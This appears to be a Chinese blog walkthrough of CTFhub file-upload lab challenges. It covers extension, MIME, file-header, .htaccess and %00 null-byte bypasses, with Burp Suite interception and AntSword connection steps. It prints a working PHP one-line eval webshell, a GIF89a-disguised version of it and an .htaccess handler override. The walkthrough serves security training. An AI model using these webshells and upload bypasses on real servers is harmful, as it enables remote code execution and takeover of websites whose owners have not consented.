CTFhub.文件上传

无验证

0.先上传一句话木马文档,后缀为(.php).文档内容为:<?php @eval($_POST['attack']) ?>
1.再用中国蚁剑添加该网址,后缀为(返回的相对路径),密码为POST里的内容,即attack
2.再在蚁剑中查看文件,即可找到网站下的文档目录。
3.再从中找到flag即可。

前端验证

  1. 先把一个一句话木马改成png格式(因为png在白名单里)。
  2. 先用burpSuite把已经上传的png拦截下来,在proxy界面改为php,(同样的,上传的文件仍然为一句话木马)
  3. 剩下的步骤和“无验证”相同。(这实际上就是一个通过一句话木马,获取控制权限的过程)
    1
    显然白名单为png,jpg等等,所以我们可以先传一个假后缀的木马。

双写后缀

在这里插入图片描述由图可以看出,黑名单中的内容一旦存在在文件名中就匹配为空。

所以, 把一句话木马的后缀名改为pphphp进行绕过,以下是对为什么写成这个形式的解释。

( php底层代码为C语言, php替换字符串时从左往右替换,因此只要保证php被替换为空后剩余部分可以连接成php即可。)

.htaccess

  • htaccess的功能

通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

  • .htaccess的文件内容
<FilesMatch "hack">
    SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述本题过滤了php,但并未过滤.htaccess,所以可以采用这种方法绕过。

  • htaccess在此题目处的作用

上边的.htaccess文件的作用是将文件名中带有hack的文件,当作php处理,也就是说,如果某个网页不允许上传php文件,且服务端使用的是apache就可以通过上传一个.htaccess文件(apache的配置文件),以及一个图片型一句话木马。用蚁剑连接图片文件时服务器会将其当作php文件执行。1

MIME验证

  • MIME定义
    MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。1

  • content-type:指的是段体的类型

  • 在本题中,老方法,上传木马文件,再burpSuite抓包,更改content-type为image/png等类型。

文件头检查

  • 用png、gif等的文件头写木马,如:

GIF89a<?php @eval($_POST['attack']) ?>

  • 上传到网页上后,用burpSuite抓包
  • 更改content-type为:image/gif
  • 发送后,再用蚁剑获取文件内容。

00截断

在这里插入图片描述

  • var/www/html/是一般的相对与网页的网址所在根目录,索引到上传目录后的地址。

  • road参数后利用00截断可以使后边的随机数,时间截断掉。

  • filename中的后缀需要更改为白名单内的后缀。

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。

比如:

https://mp.csdn.net/upfiles/?filename=test.txt
此时输出的是test.txt

加上%00后,

https://mp.csdn.net/upfiles/?filename=test.php%00.txt
此时输出的是test.php

就绕过了后缀限制,可以上传webshell啦。2


  1. MIME ↩︎ ↩︎

  2. 00截断原理 ↩︎

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值